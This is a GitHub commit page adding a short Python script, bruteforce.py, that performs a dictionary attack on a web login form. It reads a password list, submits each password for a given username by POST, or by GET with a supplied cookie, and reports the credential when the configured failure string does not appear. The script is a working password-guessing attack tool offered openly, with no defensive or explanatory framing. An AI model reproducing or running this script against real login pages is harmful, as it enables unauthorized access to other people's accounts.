Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
itaynir1 authored Jul 30, 2023
1 parent fcdf708 commit e395710
Showing 1 changed file with 36 additions and 0 deletions.
36 changes: 36 additions & 0 deletions bruteforce.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@

import requests
from termcolor import colored

url = input('[+] Enter Page URL: ')
username = input('[+] Enter Username For The Account To Bruteforce: ')
password_file = input('[+] Enter Password File To Use: ')
login_failed_string = input('[+] Enter String That Occurs When Login Fails: ')
cookie_value = input('Enter Cookie Value(Optional): ')


def cracking(username,url):
for password in passwords:
password = password.strip()
print(colored(('Trying: ' + password), 'red'))
data = {'username':username,'password':password,'Login':'submit'}
if cookie_value != '':
response = requests.get(url, params={'username':username,'password':password,'Login':'Login'}, cookies = {'Cookie': cookie_value})
else:
response = requests.post(url, data=data)
if login_failed_string in response.content.decode():
pass
else:
print(colored(('[+] Found Username: ==> ' + username), 'green'))
print(colored(('[+] Found Password: ==> ' + password), 'green'))
exit()




with open(password_file, 'r') as passwords:
cracking(username,url)

print('[!!] Password Not In List')


0 comments on commit e395710

Please sign in to comment.